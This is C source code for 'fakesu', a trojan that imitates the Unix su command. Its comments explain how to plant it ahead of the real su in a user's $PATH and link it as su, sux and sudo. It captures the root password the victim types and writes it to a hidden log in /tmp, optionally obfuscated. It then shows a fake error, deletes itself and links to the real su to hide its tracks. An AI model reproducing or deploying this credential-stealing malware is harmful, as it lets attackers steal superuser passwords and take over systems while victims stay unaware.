记录su root帐号
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
/*
[ fakesu.c ] 2oo6 by OOZIE <oozie[at]poczta.fm>
~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Simple /bin/su fake-proggy. Very useful if you have a shell
with regular user rights, who uses from time to time su/sux/sudo
to become a superuser.
INSTALL
~~~~~~~
If you can find ~/bin directories (e.g. SUSE Linux 10.1) which are
located at the beginning of $PATH variable (EXTREMELY BAD IDEA!)
in this case nothing simpler as:
gcc fakesu.c -o ~/bin/su
ln -s ~/bin/su ~/bin/sux # just to be sure
ln -s ~/bin/su ~/bin/sudo # Carefully! sudo & su passwd propt differs!
sudo: "Password:"
su: "Password: "
^
In any other case you have to create such a directory on your own
and modify $PATH variable appropriately.
*/
#define LOG "/tmp/.pwds.log" // change to hide stolen password somwhere else
#define SU "/bin/su" // location of su can vary depending on a system
#ifdef CRYPTO // ---[ OPTIONAL ENCRYPTION OF STOLEN PASSWORD ]---
#define CRYPT0 1 // If compiled with -DCRYPTO, then CRYPT0=1
#endif // -> stored password will be encrypted
#ifndef CRYPTO //
#define CRYPT0 0 // in any other case CRYPT0=0, plaintext (default)
#endif
/*
// This is not the part of this program, just a simple demo
// how the decryption algorithm for this proggie looks like.
// Copy & paste if needed
char *decrypt(char *string2) {
int i;
for(i=0;i < strlen(string2);i+=2)
string2[i]--;
for(i=1;i < strlen(string2);i+=2)
string2[i]++;
return string2;
}
*/
char *encrypt(char *string) {
int i;
for(i=0;i < strlen(string);i+=2)
string[i]++;
for(i=1;i < strlen(string);i+=2)
string[i]--;
return string;
}
int main(int argc, char **argv) {
char passwd[256];
char *path, *newpath, *token, *fullpath;
struct stat *buf;
FILE *pwdfile;
int fd, lock=0;
path=(char *)malloc(1024);
newpath=(char *)malloc(1024);
fullpath=(char *)malloc(256);
path=getenv("PATH");
token=strtok(path,":");
do {
if (lock==0) { // REMOVE binary su only by the first time
strcpy(fullpath,token);
strcat(fullpath,"/"); //
strcat(fullpath,argv[0]);
if (!(remove(fullpath))) {
strcpy(newpath,fullpath);
lock=1;
}
}
} while (token=strtok(NULL, ":"));
// Very important - symbolic link must be made
symlink(SU,newpath); // binary is gone. after the original Otherwise,
// the victim executing su once again can see the full path to non-existent
// trojan followed by an error message - we don't want that!
strncpy(passwd,getpass("Password: "),256);
pwdfile=fopen(LOG, "w");
if (CRYPT0) encrypt(passwd);
fprintf(pwdfile, "%s\n",passwd);
fclose(pwdfile);
sleep(3);
printf("%s: incorrect password\n", argv[0]);
return 0;
}